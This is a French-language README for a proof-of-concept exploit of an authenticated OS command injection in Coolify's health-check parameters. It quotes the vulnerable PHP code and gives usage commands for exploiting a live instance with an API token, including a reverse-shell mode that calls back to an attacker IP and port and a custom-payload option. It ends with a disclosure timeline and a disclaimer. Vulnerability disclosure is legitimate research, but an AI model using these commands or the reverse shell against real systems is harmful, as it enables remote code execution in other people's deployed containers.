
Injection de commandes système dans le Health Check → Exécution de code à distance
Exploit Proof-of-Concept pour l'injection de commandes OS dans la configuration du health check de Coolify.
Tout utilisateur authentifié pouvait exécuter des commandes arbitraires dans les conteneurs déployés.
Coolify est une plateforme de déploiement open-source et auto-hébergée très populaire (plus de 30 000 étoiles GitHub) — une alternative gratuite à Heroku, Vercel et Netlify.
Une vulnérabilité critique d'injection de commandes OS a été découverte dans la configuration du health check de Coolify. Les paramètres health_check_host, health_check_method et health_check_path sont directement interpolés dans des commandes shell sans aucun assainissement, permettant à tout utilisateur authentifié d'exécuter des commandes arbitraires dans les conteneurs de déploiement.
┌──────────────────┬──────────────────────────────────────┐
│ CVE ID │ CVE-2026-59734 │
│ Type │ OS Command Injection (CWE-78) │
│ Severity │ HIGH — CVSS 8.8 │
│ Attack Vector │ Network (Authenticated) │
│ Affected │ Coolify <= v4.0.0-beta.460 │
│ Fixed In │ Coolify >= v4.0.0-beta.469 │
│ Fix Commit │ 23f9156c7 │
│ Reporter │ CyberTechAjju │
└──────────────────┴──────────────────────────────────────┘
// app/Jobs/ApplicationDeploymentJob.php — generate_healthcheck_commands()
// ⚠️ User input directly in shell command — NO escapeshellarg()!
$generated_healthchecks_commands = [
"curl -s -X {$this->application->health_check_method} -f " .
"{$this->application->health_check_scheme}://" .
"{$this->application->health_check_host}:" .
"{$health_check_port}" .
"{$this->application->health_check_path} > /dev/null || exit 1",
];
Ce script PoC valide et exploite CVE-2026-59734 selon deux modes :
| Mode | Description | Risque |
|---|---|---|
--local | Simule le motif de code vulnérable hors ligne. Aucune requête réseau. Teste les 3 paramètres injectables + vérifie le correctif. | ✅ Sûr |
--remote | Exploite une instance Coolify réelle via l'API. Injecte le payload dans la configuration du health check et déclenche le déploiement. | ⚠️ Authentification requise |
host, method, path + confirme que le correctif escapeshellarg() fonctionne--lhost / --lportgit clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh
# Run safe local validation
./coolify_healthcheck_rce_poc.sh --local
Sortie attendue :
═══ LOCAL VULNERABILITY PATTERN VALIDATION ═══
┌─ Test 1: health_check_host injection
│ ✅ VULNERABLE — Injected command executed successfully
┌─ Test 2: health_check_method injection
│ ✅ VULNERABLE — Method parameter also injectable
┌─ Test 3: health_check_path injection
│ ✅ VULNERABLE — Path parameter also injectable
┌─ Test 4: Verify that escapeshellarg() fixes the issue
│ ✅ SAFE — Sanitized input prevents injection
# Basic PoC — writes proof file inside the container
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID
# Reverse shell
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--lhost YOUR_IP \
--lport 4444
# With auto-cleanup (restores original config after exploit)
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--cleanup
Usage:
Local Validation (safe, offline):
./coolify_healthcheck_rce_poc.sh --local
Remote Exploit (requires auth):
./coolify_healthcheck_rce_poc.sh --remote --url <URL> --token <TOKEN> --uuid <UUID> [OPTIONS]
Options:
--url Coolify instance URL (e.g. https://coolify.example.com)
--token API Bearer token
--uuid Target application UUID
--payload Custom injection payload
--lhost Attacker IP for reverse shell
--lport Attacker port for reverse shell (default: 4444)
--cleanup Restore original config after exploit
Jeton API :
UUID de l'application :
curl -s https://YOUR-COOLIFY/api/v1/applications \
-H "Authorization: Bearer YOUR_TOKEN" | jq '.[].uuid'
J'ai rédigé un article de blog détaillé expliquant toute la découverte, l'exploitation et les leçons tirées :
Regardez la démo complète de l'exploitation sur YouTube :
| Date | Événement |
|---|---|
| 6 janvier 2025 | 🔍 Découverte et signalement via GitHub Security Advisory |
| 16 janvier 2025 | ✅ Rapport accepté par le mainteneur de Coolify |
| 24 février 2025 | 🔬 Investigation confirmée |
| 18 mars 2025 | 🔧 Commit du correctif (23f9156c7) |
| 12 avril 2025 | 📦 Correctif publié dans v4.0.0-beta.469 |
| juillet 2025 | 🏷️ CVE-2026-59734 attribué et avis de sécurité publié |
Cet outil est fourni UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TESTS DE SÉCURITÉ AUTORISÉS.
Ce PoC est destiné aux chercheurs en sécurité et aux chasseurs de bug bounty pour tester des systèmes qu'ils ont l'autorisation explicite et documentée d'auditer. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas est strictement interdite et peut violer les lois locales, étatiques et fédérales.
L'auteur (CyberTechAjju) décline toute responsabilité et n'est pas responsable de toute utilisation abusive ou de tout dommage causé par cet outil.
| CVE | Cible | Type | Sévérité |
|---|---|---|---|
| CVE-2026-45156 | Nextcloud user_oidc | Contournement de signature JWT | 🔴 Critique (9.8) |
| CVE-2026-59734 | Coolify | Injection de commandes OS | 🟠 Élevée (8.8) |
« Ils ont oublié d'assainir. Je n'ai pas oublié de le signaler. »
🇮🇳 Piratez la planète. 🌎💻